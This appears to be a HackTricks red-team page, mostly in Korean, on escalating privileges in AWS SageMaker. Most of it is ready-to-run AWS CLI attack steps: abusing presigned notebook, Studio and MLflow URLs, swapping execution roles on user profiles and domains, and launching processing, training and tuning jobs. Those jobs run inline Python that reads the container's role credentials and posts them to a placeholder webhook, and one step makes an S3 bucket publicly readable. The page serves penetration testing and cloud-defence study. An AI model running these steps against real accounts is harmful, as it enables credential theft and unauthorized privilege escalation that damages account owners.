AWS - Sagemaker Privesc

Reading time: 14 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

AWS - Sagemaker Privesc

iam:PassRole , sagemaker:CreateNotebookInstance, sagemaker:CreatePresignedNotebookInstanceUrl

IAM Role이 연결된 notebook 생성을 시작하세요:

bash
aws sagemaker create-notebook-instance --notebook-instance-name example \
--instance-type ml.t2.medium \
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>

응답에는 생성된 노트북 인스턴스의 ARN을 포함하는 NotebookInstanceArn 필드가 포함되어야 합니다. 그런 다음 create-presigned-notebook-instance-url API를 사용하여 노트북 인스턴스가 준비되면 액세스하는 데 사용할 수 있는 URL을 생성할 수 있습니다:

bash
aws sagemaker create-presigned-notebook-instance-url \
--notebook-instance-name <name>

브라우저에서 URL로 이동하여 오른쪽 상단의 `Open JupyterLab``을 클릭한 다음, 아래로 스크롤하여 “Launcher” 탭의 “Other” 섹션에서 “Terminal” 버튼을 클릭합니다.

이제 IAM Role의 metadata credentials에 접근할 수 있습니다.

Potential Impact: 지정된 sagemaker 서비스 역할에 대한 Privesc.

sagemaker:CreatePresignedNotebookInstanceUrl

만약 Jupyter notebooks가 이미 실행 중이고 sagemaker:ListNotebookInstances로 이를 나열할 수 있거나(또는 다른 방법으로 발견할 수 있다면), 해당 노트북에 대한 URL을 생성하고 접근하여 이전 기법에서 설명한 대로 자격증명을 훔칠 수 있습니다.

bash
aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>

Potential Impact: 연결된 sagemaker 서비스 역할로의 Privesc

sagemaker:CreatePresignedDomainUrl

warning

이 공격은 SageMaker Unified Studio로 생성된 도메인이 아닌, 기존 전통적인 SageMaker Studio 도메인에서만 작동합니다. Unified Studio에서 생성된 도메인은 다음 오류를 반환합니다: "This SageMaker AI Domain was created by SageMaker Unified Studio and must be accessed via SageMaker Unified Studio Portal".

대상 Studio UserProfile에 대해 sagemaker:CreatePresignedDomainUrl를 호출할 수 있는 권한이 있는 식별자는 해당 프로필로 직접 인증되는 로그인 URL을 발급할 수 있습니다. 이는 공격자의 브라우저에 프로필의 ExecutionRole 권한을 상속받고 프로필의 EFS 기반 홈 및 앱에 대한 전체 접근 권한을 가진 Studio 세션을 부여합니다. iam:PassRole 권한이나 콘솔 접근은 필요하지 않습니다.

Requirements:

  • SageMaker Studio Domain 및 그 안의 대상 UserProfile.
  • 공격자 주체는 대상 UserProfile에 대해 sagemaker:CreatePresignedDomainUrl 권한(리소스 수준) 또는 *가 필요합니다.

Minimal policy example (scoped to one UserProfile):

json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sagemaker:CreatePresignedDomainUrl",
"Resource": "arn:aws:sagemaker:<region>:<account-id>:user-profile/<domain-id>/<user-profile-name>"
}
]
}

악용 단계:

  1. 공격 대상이 될 수 있는 Studio Domain 및 UserProfiles 열거
bash
DOM=$(aws sagemaker list-domains --query 'Domains[0].DomainId' --output text)
aws sagemaker list-user-profiles --domain-id-equals $DOM
TARGET_USER=<UserProfileName>
  1. unified studio가 사용되지 않는지 확인하세요 (attack는 기존 SageMaker Studio 도메인에서만 작동합니다)
bash
aws sagemaker describe-domain --domain-id <DOMAIN_ID> --query 'DomainSettings'
# If you get info about unified studio, this attack won't work
  1. presigned URL 생성 (기본적으로 약 5분 동안 유효)
bash
aws sagemaker create-presigned-domain-url \
--domain-id $DOM \
--user-profile-name $TARGET_USER \
--query AuthorizedUrl --output text
  1. 반환된 URL을 브라우저에서 열어 대상 사용자로 Studio에 로그인합니다. Studio 내 Jupyter 터미널에서 유효한 신원을 확인하거나 token을 exfiltrate합니다:
bash
aws sts get-caller-identity

Notes:

  • --landing-uri은 생략할 수 있습니다. 일부 값(예: app:JupyterLab:/lab)은 Studio의 종류/버전에 따라 거부될 수 있습니다; 기본값은 일반적으로 Studio 홈으로 리디렉션한 다음 Jupyter로 이동합니다.
  • Org policies/VPC endpoint 제한으로 네트워크 액세스가 차단될 수 있습니다; 토큰 생성(token minting)은 콘솔 로그인(console sign‑in)이나 iam:PassRole을 요구하지 않습니다.

Potential Impact: 허용된 ARN을 가진 모든 Studio UserProfile을 가정(assume)하여 해당 ExecutionRole 및 파일시스템/앱을 상속받음으로써 Lateral movement and privilege escalation.

sagemaker:CreatePresignedMlflowTrackingServerUrl, sagemaker-mlflow:AccessUI, sagemaker-mlflow:SearchExperiments

대상 SageMaker MLflow Tracking Server에 대해 sagemaker:CreatePresignedMlflowTrackingServerUrl(및 이후 접근을 위해 sagemaker-mlflow:AccessUI, sagemaker-mlflow:SearchExperiments) 호출 권한이 있는 주체는 그 서버의 관리형 MLflow UI에 직접 인증하는 단일 사용 presigned URL을 생성할 수 있습니다. 이 URL은 정당한 사용자가 서버에서 가지는 것과 동일한 접근 권한(실험 및 런 보기/생성, 서버의 S3 artifact store에서 아티팩트 다운로드/업로드)을 부여합니다.

Requirements:

  • 계정/리전 내의 SageMaker MLflow Tracking Server와 해당 서버의 이름.
  • 공격자 주체(attacker principal)는 대상 MLflow Tracking Server 리소스에 대해 sagemaker:CreatePresignedMlflowTrackingServerUrl 권한(또는 *)이 필요합니다.

Abuse Steps:

  1. 공격 가능한 MLflow Tracking Server를 열거(enumerate)하고 하나의 이름을 선택합니다
bash
aws sagemaker list-mlflow-tracking-servers \
--query 'TrackingServerSummaries[].{Name:TrackingServerName,Status:TrackingServerStatus}'
TS_NAME=<tracking-server-name>
  1. presigned MLflow UI URL 생성 (짧은 시간 동안 유효)
bash
aws sagemaker create-presigned-mlflow-tracking-server-url \
--tracking-server-name "$TS_NAME" \
--query AuthorizedUrl --output text
  1. 반환된 URL을 브라우저에서 열어 해당 Tracking Server에 대해 인증된 사용자로 MLflow UI에 접근합니다.

잠재적 영향: 타깃 Tracking Server의 관리되는 MLflow UI에 직접 접근할 수 있으며, 서버 구성에서 적용되는 권한 범위 안에서 실험/런을 조회·수정하고, 서버에 설정된 S3 artifact store에 저장된 아티팩트를 가져오거나 업로드할 수 있습니다.

sagemaker:CreateProcessingJob, iam:PassRole

해당 권한을 가진 공격자는 SageMaker 역할이 부착된 상태로 SageMaker에 processing job을 실행시키게 할 수 있습니다. 이미 Python이 포함된 AWS Deep Learning Containers 중 하나를 재사용하고 (작업을 URI와 같은 리전에서 실행하면), 자체 이미지를 빌드하지 않고 인라인으로 코드를 실행할 수 있습니다:

bash
REGION=<region>
ROLE_ARN=<sagemaker-arn-role>
IMAGE=683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3
ENV='{"W":"https://example.com/webhook"}'

aws sagemaker create-processing-job \
--processing-job-name privescjob \
--processing-resources '{"ClusterConfig":{"InstanceCount":1,"InstanceType":"ml.t3.medium","VolumeSizeInGB":50}}' \
--app-specification "{\"ImageUri\":\"$IMAGE\",\"ContainerEntrypoint\":[\"python\",\"-c\"],\"ContainerArguments\":[\"import os,urllib.request as u;m=os.environ.get('AWS_CONTAINER_CREDENTIALS_RELATIVE_URI');m and u.urlopen(os.environ['W'],data=u.urlopen('http://169.254.170.2'+m).read())\"]}" \
--environment "$ENV" \
--role-arn $ROLE_ARN

# Las credenciales llegan al webhook indicado. Asegúrate de que el rol tenga permisos ECR (AmazonEC2ContainerRegistryReadOnly) para descargar la imagen.

Potential Impact: 지정된 sagemaker 서비스 역할로의 Privesc.

sagemaker:CreateTrainingJob, iam:PassRole

해당 권한을 가진 공격자는 지정된 역할로 임의 코드를 실행하는 training job을 시작할 수 있습니다. 공식 SageMaker 컨테이너를 사용하고 entrypoint를 payload inline으로 덮어쓰면, 자체 이미지를 빌드할 필요가 없습니다:

bash
REGION=<region>
ROLE_ARN=<sagemaker-role-to-abuse>
IMAGE=763104351884.dkr.ecr.$REGION.amazonaws.com/pytorch-training:2.1-cpu-py310
ENV='{"W":"https://example.com/webhook"}'
OUTPUT_S3=s3://<existing-bucket>/training-output/
# El rol debe poder leer imágenes de ECR (p.e. AmazonEC2ContainerRegistryReadOnly) y escribir en OUTPUT_S3.

aws sagemaker create-training-job \
--training-job-name privesc-train \
--role-arn $ROLE_ARN \
--algorithm-specification "{\"TrainingImage\":\"$IMAGE\",\"TrainingInputMode\":\"File\",\"ContainerEntrypoint\":[\"python\",\"-c\"],\"ContainerArguments\":[\"import os,urllib.request as u;m=os.environ.get('AWS_CONTAINER_CREDENTIALS_RELATIVE_URI');m and u.urlopen(os.environ['W'],data=u.urlopen('http://169.254.170.2'+m).read())\"]}" \
--output-data-config "{\"S3OutputPath\":\"$OUTPUT_S3\"}" \
--resource-config '{"InstanceCount":1,"InstanceType":"ml.m5.large","VolumeSizeInGB":50}' \
--stopping-condition '{"MaxRuntimeInSeconds":600}' \
--environment "$ENV"

# El payload se ejecuta en cuanto el job pasa a InProgress y exfiltra las credenciales del rol.

Potential Impact: 지정된 SageMaker 서비스 역할에 대한 Privesc.

sagemaker:CreateHyperParameterTuningJob, iam:PassRole

해당 권한을 가진 공격자는 제공된 역할 하에서 공격자가 제어하는 코드를 실행하는 HyperParameter Tuning Job을 시작할 수 있습니다. Script mode는 페이로드를 S3에 호스팅해야 하며, 모든 단계는 CLI에서 자동화할 수 있습니다:

bash
REGION=<region>
ROLE_ARN=<sagemaker-role-to-abuse>
BUCKET=sm-hpo-privesc-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION

# Allow public reads so any SageMaker role can pull the code
aws s3api put-public-access-block \
--bucket $BUCKET \
--public-access-block-configuration '{
"BlockPublicAcls": false,
"IgnorePublicAcls": false,
"BlockPublicPolicy": false,
"RestrictPublicBuckets": false
}'

aws s3api put-bucket-policy --bucket $BUCKET --policy "{
\"Version\": \"2012-10-17\",
\"Statement\": [
{
\"Effect\": \"Allow\",
\"Principal\": \"*\",
\"Action\": \"s3:GetObject\",
\"Resource\": \"arn:aws:s3:::$BUCKET/*\"
}
]
}"

cat <<'EOF' > /tmp/train.py
import os, time, urllib.request

def main():
meta = os.environ.get("AWS_CONTAINER_CREDENTIALS_RELATIVE_URI")
if not meta:
return
creds = urllib.request.urlopen(f"http://169.254.170.2{meta}").read()
req = urllib.request.Request(
"https://example.com/webhook",
data=creds,
headers={"Content-Type": "application/json"}
)
urllib.request.urlopen(req)
print("train:loss=0")
time.sleep(300)

if __name__ == "__main__":
main()
EOF

cd /tmp
tar -czf code.tar.gz train.py
aws s3 cp code.tar.gz s3://$BUCKET/code/train-code.tar.gz --region $REGION --acl public-read

echo "dummy" > /tmp/input.txt
aws s3 cp /tmp/input.txt s3://$BUCKET/input/dummy.txt --region $REGION --acl public-read

IMAGE=763104351884.dkr.ecr.$REGION.amazonaws.com/pytorch-training:2.1-cpu-py310
CODE_S3=s3://$BUCKET/code/train-code.tar.gz
TRAIN_INPUT_S3=s3://$BUCKET/input
OUTPUT_S3=s3://$BUCKET/output
# El rol necesita permisos ECR y escritura en el bucket.

cat > /tmp/hpo-definition.json <<EOF
{
"AlgorithmSpecification": {
"TrainingImage": "$IMAGE",
"TrainingInputMode": "File",
"MetricDefinitions": [{"Name": "train:loss", "Regex": "train:loss=([0-9.]+)"}]
},
"StaticHyperParameters": {
"sagemaker_program": "train.py",
"sagemaker_submit_directory": "$CODE_S3"
},
"RoleArn": "$ROLE_ARN",
"InputDataConfig": [
{
"ChannelName": "training",
"DataSource": {
"S3DataSource": {
"S3DataType": "S3Prefix",
"S3Uri": "$TRAIN_INPUT_S3",
"S3DataDistributionType": "FullyReplicated"
}
}
}
],
"OutputDataConfig": {
"S3OutputPath": "$OUTPUT_S3"
},
"ResourceConfig": {
"InstanceType": "ml.m5.large",
"InstanceCount": 1,
"VolumeSizeInGB": 50
},
"StoppingCondition": {
"MaxRuntimeInSeconds": 600
}
}
EOF

aws sagemaker create-hyper-parameter-tuning-job \
--hyper-parameter-tuning-job-name privesc-hpo \
--hyper-parameter-tuning-job-config '{"Strategy":"Random","ResourceLimits":{"MaxNumberOfTrainingJobs":1,"MaxParallelTrainingJobs":1},"HyperParameterTuningJobObjective":{"Type":"Maximize","MetricName":"train:loss"}}' \
--training-job-definition file:///tmp/hpo-definition.json

프로세스에서 시작된 각 학습은 메트릭을 출력하고 지정된 role의 자격 증명을 유출합니다.

sagemaker:UpdateUserProfile, iam:PassRole, sagemaker:CreateApp, sagemaker:CreatePresignedDomainUrl, (sagemaker:DeleteApp)

SageMaker Studio User Profile을 업데이트하고 앱을 생성하며 앱에 대한 presigned URL을 만들 수 있는 권한과 iam:PassRole이 있으면, 공격자는 ExecutionRole을 SageMaker 서비스 주체가 맡을 수 있는 임의의 IAM role로 설정할 수 있습니다. 해당 프로필로 시작된 새로운 Studio 앱은 바뀐 역할로 실행되어 Jupyter 터미널이나 Studio에서 시작된 작업을 통해 상호작용 가능한 권한 상승을 제공합니다.

warning

이 공격은 프로필에 애플리케이션이 없어야 하며, 그렇지 않으면 앱 생성이 실패하고 다음과 유사한 오류가 발생합니다: An error occurred (ValidationException) when calling the UpdateUserProfile operation: Unable to update UserProfile [arn:aws:sagemaker:us-east-1:947247140022:user-profile/d-fcmlssoalfra/test-user-profile-2] with InService App. Delete all InService apps for UserProfile and try again. 만약 애플리케이션이 있다면 먼저 삭제하려면 sagemaker:DeleteApp 권한이 필요합니다.

단계:

bash
# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'

# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>

# Choose a more-privileged role that already trusts sagemaker.amazonaws.com
ROLE_ARN=arn:aws:iam::<ACCOUNT_ID>:role/<HighPrivSageMakerExecutionRole>

# 3) Update the Studio profile to use the new role (no iam:PassRole)
aws sagemaker update-user-profile \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--user-settings ExecutionRole=$ROLE_ARN

aws sagemaker describe-user-profile \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query 'UserSettings.ExecutionRole' --output text

# 3.1) Optional if you need to delete existing apps first
# List existing apps
aws sagemaker list-apps \
--domain-id-equals <DOMAIN_ID>

# Delete an app
aws sagemaker delete-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name <APP_NAME>

# 4) Create a JupyterServer app for a user profile (will inherit domain default role)
aws sagemaker create-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name <APP_NAME>


# 5) Generate a presigned URL to access Studio with the new domain default role
aws sagemaker create-presigned-domain-url \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query AuthorizedUrl --output text

# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
#    aws sts get-caller-identity
#    (should show the high-privilege role from domain defaults)

Potential Impact: 인터랙티브 Studio 세션을 위한 지정된 SageMaker 실행 역할의 권한으로 권한 상승.

sagemaker:UpdateDomain, sagemaker:CreateApp, iam:PassRole, sagemaker:CreatePresignedDomainUrl, (sagemaker:DeleteApp)

SageMaker Studio Domain을 업데이트하고, 앱을 생성하며, 앱에 대한 presigned URL을 만들고 iam:PassRole 권한이 있으면, 공격자는 기본 도메인 ExecutionRole을 SageMaker 서비스 프린시펄이 맡을 수 있는 어떤 IAM 역할로든 설정할 수 있습니다. 해당 프로필에서 시작되는 새 Studio 앱은 교체된 역할로 실행되어 Jupyter 터미널이나 Studio에서 시작된 작업을 통해 인터랙티브한 권한 상승을 제공할 수 있습니다.

warning

이 공격은 도메인에 애플리케이션이 없어야 합니다. 그렇지 않으면 앱 생성이 다음 오류로 실패합니다: An error occurred (ValidationException) when calling the UpdateDomain operation: Unable to update Domain [arn:aws:sagemaker:us-east-1:947247140022:domain/d-fcmlssoalfra] with InService App. Delete all InService apps in the domain including shared Apps for [domain-shared] User Profile, and try again.

단계:

bash
# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'

# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>

# Choose a more-privileged role that already trusts sagemaker.amazonaws.com
ROLE_ARN=arn:aws:iam::<ACCOUNT_ID>:role/<HighPrivSageMakerExecutionRole>

# 3) Change the domain default so every profile inherits the new role
aws sagemaker update-domain \
--domain-id <DOMAIN_ID> \
--default-user-settings ExecutionRole=$ROLE_ARN

aws sagemaker describe-domain \
--domain-id <DOMAIN_ID> \
--query 'DefaultUserSettings.ExecutionRole' --output text

# 3.1) Optional if you need to delete existing apps first
# List existing apps
aws sagemaker list-apps \
--domain-id-equals <DOMAIN_ID>

# Delete an app
aws sagemaker delete-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name <APP_NAME>

# 4) Create a JupyterServer app for a user profile (will inherit domain default role)
aws sagemaker create-app \
--domain-id <DOMAIN_ID> \
--app-type JupyterServer \
--app-name js-domain-escalated

# 5) Generate a presigned URL to access Studio with the new domain default role
aws sagemaker create-presigned-domain-url \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query AuthorizedUrl --output text

# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
#    aws sts get-caller-identity
#    (should show the high-privilege role from domain defaults)

잠재적 영향: 대화형 Studio 세션에서 지정된 SageMaker 실행 역할의 권한으로 권한 상승.

sagemaker:CreateApp, sagemaker:CreatePresignedDomainUrl

공격자가 대상 UserProfile에 대해 SageMaker Studio 앱을 생성할 수 있는 권한이 있으면, 해당 UserProfile의 ExecutionRole로 실행되는 JupyterServer 앱을 시작할 수 있습니다. 이는 Jupyter 터미널이나 Studio에서 시작된 작업을 통해 역할의 권한에 대한 대화형 액세스를 제공합니다.

단계:

bash
# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'

# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>

# 3) Create a JupyterServer app for the user profile
aws sagemaker create-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name js-privesc

# 4) Generate a presigned URL to access Studio
aws sagemaker create-presigned-domain-url \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query AuthorizedUrl --output text

# 5) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
#    aws sts get-caller-identity

Potential Impact: 대상 UserProfile에 연결된 SageMaker 실행 역할에 대한 대화형 액세스.

iam:GetUser, datazone:CreateUserProfile

해당 권한을 가진 공격자는 DataZone User Profile을 생성하여 특정 IAM 사용자에게 Sagemaker Unified Studio Domain에 대한 접근을 부여할 수 있습니다.

bash
# List domains
aws datazone list-domains --region us-east-1 \
--query "items[].{Id:id,Name:name}" \
--output json

# Add IAM user as a user of the domain
aws datazone create-user-profile \
--region us-east-1 \
--domain-identifier <domain-id> \
--user-identifier <arn-user> \
--user-type IAM_USER

The Unified Domain URL의 형식은 다음과 같습니다: https://<domain-id>.sagemaker.<region>.on.aws/ (예: https://dzd-cmixuznq0h8cmf.sagemaker.us-east-1.on.aws/).

잠재적 영향: 사용자가 Sagemaker Unified Studio Domain에 접근하여 Sagemaker 도메인 내의 모든 리소스에 접근할 수 있으며, Sagemaker Unified Studio Domain 내부의 노트북들이 사용하는 역할로 권한 상승(escalate privieleges)할 수도 있습니다.

참고자료

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기